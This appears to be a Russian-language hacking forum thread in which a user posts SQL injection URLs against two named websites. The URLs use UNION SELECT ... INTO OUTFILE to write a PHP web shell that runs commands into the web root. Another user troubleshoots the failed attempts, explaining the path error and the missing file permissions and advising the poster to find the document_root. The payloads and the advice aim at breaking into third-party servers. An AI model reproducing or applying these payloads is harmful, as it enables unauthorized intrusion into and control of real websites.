PDA

Просмотр полной версии : Into outfile


semen6192
06.07.2015, 21:19
Не могу загрузить свой файл на сайт:


http://www.nibbledpencil.com/ficha.php?id=-277%20and%201=1%20UNION%20SELECT%201,%22%3C?php%20 system%28$_REQUEST[cmd]%29;exit;?%3E%22,3,4,5,6,7,8,9,10,11,12,13,14,15,1 6,17%20INTO%20outfile%20%27/var/www/qwe.php%27--+

Ошибка: Can't create/write to file '/var/www/qwe.php' (Errcode: 2)

Ладно, допустим нельзя, пробуем 2-й сайт: http://www.cobranet.org(тренировочный)


http://www.cobranet.org/about.php?id=-1%20union%20select%201,2,3,%22%3C?php%20system%28$ _GET[cmd]%29;exit;?%29%29%22,5,6%20into%20outfile%20%27/var/www/mnbbbb.php%27%20--

Видим:

SQL Error:

1045: Access denied for user 'website'@'localhost' (using password: YES)

[select * from about where section=-1 union select 1,2,3,"

Но самое главное что мы видим(я так думаю): Access denied

Но вот захожу на созданный файл: http://www.cobranet.org/mnbbbb.php

и ничего нет, как правильно заливать файлы на сайт?

faza02
06.07.2015, 21:27
↑ (https://antichat.live/posts/3865743/)
Не могу загрузить свой файл на сайт:

http://www.nibbledpencil.com/ficha.php?id=-277%20and%201=1%20UNION%20SELECT%201,%22%3C?php%20 system%28$_REQUEST[cmd]%29;exit;?%3E%22,3,4,5,6,7,8,9,10,11,12,13,14,15,1 6,17%20INTO%20outfile%20%27/var/www/qwe.php%27--+

Ошибка: Can't create/write to file '/var/www/qwe.php' (Errcode: 2)
Ладно, допустим нельзя, пробуем 2-й сайт:
http://www.cobranet.org(тренировочный)

http://www.cobranet.org/about.php?id=-1%20union%20select%201,2,3,%22%3C?php%20system%28$ _GET[cmd]%29;exit;?%29%29%22,5,6%20into%20outfile%20%27/var/www/mnbbbb.php%27%20--

Видим:
SQL Error:
1045: Access denied for user 'website'@'localhost' (using password: YES)
[select * from about where section=-1 union select 1,2,3,"
Но самое главное что мы видим(я так думаю): Access denied
Но вот захожу на созданный файл:
http://www.cobranet.org/mnbbbb.php
и ничего нет, как правильно заливать файлы на сайт?


babin@laptop:~$ perror 2

OS error code 2: No such file or directory

а вот в папку tmp все нормально заливается. вам нужно просто найти верный путь до document_root.

во втором случае у вас нет прав, чего удивлятся. читайте статьи и документацию

semen6192
06.07.2015, 22:20
↑ (https://antichat.live/posts/3865744/)
babin@laptop:~$ perror 2
OS error code 2: No such file or directory
а вот в папку tmp все нормально заливается. вам нужно просто найти верный путь до document_root.
во втором случае у вас нет прав, чего удивлятся. читайте статьи и документацию


мм... а где ето отображается?) Захожу:


http://www.nibbledpencil.com/qwe.php

ошибка 404

faza02
06.07.2015, 22:27
↑ (https://antichat.live/posts/3865765/)
мм... а где ето отображается?) Захожу:

http://www.nibbledpencil.com/qwe.php

ошибка 404


папка tmp находится внутри, из под веба по до нее не дотянуться. прочитайте пару статьей про веб-сервера

semen6192
06.07.2015, 22:31
спс